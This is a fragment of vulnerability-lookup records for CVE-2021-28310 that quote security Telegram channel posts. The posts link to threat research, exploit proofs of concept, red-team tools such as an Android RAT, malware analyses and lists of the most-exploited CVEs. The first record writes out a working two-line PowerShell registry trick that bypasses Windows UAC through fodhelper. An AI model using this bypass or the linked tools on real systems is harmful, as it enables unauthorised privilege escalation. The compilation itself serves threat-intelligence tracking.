"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/2948", "content": "Threat Research\ud83d\ude42\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. From 0 to RCE: Cockpit CMS (PoCs)\nhttps://swarm.ptsecurity.com/rce-cockpit-cms\n\nBlue Team Techniques\ud83e\udd13\nAll Things Symantec Endpoint Protection:\nlogs, VBNs, ccSubSDK database, registry data\nhttps://malwaremaloney.blogspot.com/p/all-things-symantec.html\n\nRed Team Tactics:\n1. Android RAT with web panel and undetectable App\nhttps://github.com/Th30neAnd0nly/Ohm\n2. UAC bypass in 2 lines:\n...\nNew-Item -Path HKCU:\\Software\\Classes\\ms-settings\\shell\\open\\command -Value cmd.exe -Force \n\nNew-ItemProperty -Path HKCU:\\Software\\Classes\\ms-settings\\shell\\open\\command -Name DelegateExecute -PropertyType String -Force\n...\ncmd -> fodhelper\n\n3. An Evil and Smart Bot for Enslaving Windows\nhttps://github.com/wildonion/katyusha\n\nCVE-2021-26788:\nRemote DoS on CycloneTCP\n(a fully-featured open source IPv4/IPv6 stack for embedded systems) (PoC)\nhttps://blog.quarkslab.com/remote-denial-of-service-on-cyclonetcp-cve-2021-26788.html", "creation_timestamp": "2026-09-02T01:04:45.660810Z"}, {"uuid": "2c6240f5-df59-4351-9d80-c0654ee00b08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-02T01:04:40.647123Z"}, {"uuid": "17002df7-3148-411c-a084-7bf5d9a623ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-02T01:04:43.639639Z"}, {"uuid": "79029564-7965-40a1-94c0-6e02070e965c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/2986", "content": "exploit\nCVE-2021-29349:\nCSRF to remove all messages in Mahara 20.10 (PoC)\nhttps://github.com/Vulnmachines/CVE-2021-29349\n\nOffensive security:\nAirstrike Attack - FDE bypass and EoP on domain joined Windows workstations (CVE-2021-28316)\nhttps://shenaniganslabs.io/2021/04/13/Airstrike.html\n\nMalware analysis:\n1. HackBoss: A cryptocurrency-stealing malware distributed through Telegram\nhttps://decoded.avast.io/romanalinkeova/hackboss-a-cryptocurrency-stealing-malware-distributed-through-telegram\n2. Carbine Loader Cryptojacking Campaign\nhttps://www.lacework.com/carbine-loader-cryptojacking-campaign\n\nRed Team Tactics\n1. Buffer overflow fuzzer and exploit script\nhttps://github.com/A1-exe/bufferoverflow\n2. PCI Express DIY hacking toolkit for Xilinx SP605\nhttps://github.com/Cr4sh/s6_pcie_microblaze\n\n\nThreat Research:\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310)\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. Bugs in a Popular Third-Party Ethernet/IP Protocol Stack (CVE-2021-27478, CVE-2021-27482, CVE-2021-27498, CVE-2021-27500)\nhttps://www.claroty.com/2021/04/15/blog-research-fuzzing-and-pring\n3. New Vulnerability Affecting Container Engines CRI-O/Podman (CVE-2021-20291)\nhttps://unit42.paloaltonetworks.com/cve-2021-20291", "creation_timestamp": "2026-09-02T01:04:44.431065Z"}]}